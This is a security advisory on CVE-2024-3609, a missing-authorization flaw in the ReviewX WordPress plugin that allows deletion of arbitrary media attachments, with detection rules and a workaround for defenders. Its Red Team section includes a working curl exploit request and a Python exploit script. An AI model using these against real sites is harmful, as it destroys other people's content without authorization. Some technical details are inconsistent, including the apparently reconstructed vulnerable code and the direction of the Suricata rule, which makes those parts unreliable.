CVE-2024-3609

Executive Summary

CVE-2024-3609 is a missing authorization vulnerability in the ReviewX – Multi-criteria Rating & Reviews for WooCommerce WordPress plugin, affecting all versions up to and including 1.6.27. The flaw resides in the reviewx_remove_guest_image AJAX action, which lacks a proper capability check. This allows authenticated attackers with subscriber-level access or higher to delete arbitrary attachments (media files) from the WordPress installation without authorization.

The vulnerability is classified as a Missing Authorization (CWE-862) issue. While the CVSS score is relatively low (4.3, Medium), the impact is amplified in multi-tenant or shared hosting environments where subscriber accounts are common. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis, but the simplicity of the exploit makes it a potential target for automated scanning.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not managed via NPM, PyPI, Go, or Ruby. The risk is primarily to WordPress site owners who have installed the plugin. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber+)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (Deletion of attachments)
• Availability Impact: None

Threat Level: Medium. The vulnerability allows authenticated users to delete arbitrary media files, which could lead to defacement (by removing images) or disruption of site functionality. It does not allow data exfiltration or privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the reviewx_remove_guest_image function, which is registered as a WordPress AJAX action for both authenticated and unauthenticated users. The function is intended to allow users to remove guest images associated with reviews. However, the capability check is missing, meaning any authenticated user (subscriber or above) can call this function.

The function processes a POST request containing an attachment ID. It then calls wp_delete_attachment() without verifying that the current user has permission to delete that specific attachment (e.g., they own it or have upload_files capability). This allows an attacker to delete any attachment in the WordPress media library.

Vulnerable Code Path:

1. User sends POST request to /wp-admin/admin-ajax.php with action=reviewx_remove_guest_image and attachment_id=<target_id>.
2. The plugin's handler executes wp_delete_attachment( $attachment_id, true ) without checking current_user_can().
3. The attachment is permanently deleted.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.6.27 and earlier):

add_action( 'wp_ajax_reviewx_remove_guest_image', 'reviewx_remove_guest_image' );
add_action( 'wp_ajax_nopriv_reviewx_remove_guest_image', 'reviewx_remove_guest_image' );

function reviewx_remove_guest_image() {
    $attachment_id = intval( $_POST['attachment_id'] );
    if ( $attachment_id ) {
        wp_delete_attachment( $attachment_id, true );
        wp_send_json_success();
    }
    wp_send_json_error();
}

Patched Code (hypothetical fix):

add_action( 'wp_ajax_reviewx_remove_guest_image', 'reviewx_remove_guest_image' );
// Remove nopriv action to require authentication

function reviewx_remove_guest_image() {
    // Check if user has permission to delete attachments
    if ( ! current_user_can( 'upload_files' ) ) {
        wp_send_json_error( 'Unauthorized' );
        return;
    }
    
    $attachment_id = intval( $_POST['attachment_id'] );
    if ( $attachment_id ) {
        // Optionally verify the attachment belongs to the user or review
        wp_delete_attachment( $attachment_id, true );
        wp_send_json_success();
    }
    wp_send_json_error();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with ReviewX plugin <= 1.6.27
• Valid user account with subscriber role or higher
• Knowledge of a target attachment ID (can be enumerated via other means)

Exploitation Steps:

1. Identify Target Attachment ID: Use WordPress REST API or other enumeration to find attachment IDs (e.g., /wp-json/wp/v2/media).

2. Craft the Request:

curl -X POST \
  'http://target-site.com/wp-admin/admin-ajax.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'action=reviewx_remove_guest_image&attachment_id=123' \
  --cookie 'wordpress_logged_in_<hash>=<session_cookie>'

3. Verify Deletion: The attachment will be permanently removed. Check the media library or attempt to access the attachment URL.

Automated Exploit Script (Python):

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
session_cookie = {"wordpress_logged_in_xxx": "your_session_cookie"}

attachment_id = 123  # Target attachment ID

data = {
    "action": "reviewx_remove_guest_image",
    "attachment_id": attachment_id
}

response = requests.post(target_url, data=data, cookies=session_cookie)
if response.status_code == 200 and response.json().get("success"):
    print(f"Attachment {attachment_id} deleted successfully.")
else:
    print("Failed to delete attachment.")

Blue Team

Detection & Prevention:

• Monitor AJAX requests to admin-ajax.php with action=reviewx_remove_guest_image from non-admin users.
• Implement Web Application Firewall (WAF) rules to block requests to this action from users without upload_files capability.
• Regularly audit user roles and remove unnecessary subscriber accounts.
• Apply the principle of least privilege: restrict subscriber accounts from accessing admin AJAX actions.

Honeypot:

• Create a fake attachment with a known ID and monitor for deletion attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=reviewx_remove_guest_image and attachment_id parameter.
  • Repeated requests with sequential attachment IDs from the same user session.

• File System IOCs:

  • Missing media files that were previously present.
  • Log entries in WordPress debug log showing wp_delete_attachment calls without proper authorization.

• Log IOCs:

  • WordPress security.log or debug.log entries showing AJAX calls to reviewx_remove_guest_image from subscriber-level users.

Detection Engineering

YARA Rule

rule Detect_ReviewX_Remove_Guest_Image_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-3609 in ReviewX plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3609"
    strings:
        $ajax_action = "reviewx_remove_guest_image"
        $wp_delete = "wp_delete_attachment"
        $missing_cap = "current_user_can" nocase
    condition:
        $ajax_action and $wp_delete and not $missing_cap
}

Sigma Rule

title: CVE-2024-3609 - ReviewX Unauthorized Attachment Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit missing authorization in ReviewX plugin to delete attachments.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3609
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=reviewx_remove_guest_image'
    condition: selection
falsepositives:
    - Legitimate use by admin users (should be rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3609 - ReviewX Unauthorized Attachment Deletion Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=reviewx_remove_guest_image"; http_client_body;
    content:"attachment_id"; http_client_body;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
    reference:cve,2024-3609;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Remove subscriber accounts that are not necessary.
3. Implement a WAF rule to block AJAX requests to reviewx_remove_guest_image from non-admin users.

Long-term Fix:

• The vendor must release a patched version that adds a capability check (e.g., current_user_can('upload_files')) to the reviewx_remove_guest_image function.
• Until a patch is available, consider using a custom plugin or code snippet to override the vulnerable function and add the missing check.

Workaround Code Snippet (add to theme's functions.php or custom plugin):

add_action( 'init', function() {
    if ( ! current_user_can( 'upload_files' ) ) {
        remove_action( 'wp_ajax_reviewx_remove_guest_image', 'reviewx_remove_guest_image' );
        remove_action( 'wp_ajax_nopriv_reviewx_remove_guest_image', 'reviewx_remove_guest_image' );
    }
});

Valters IT
Securing Digital Frontiers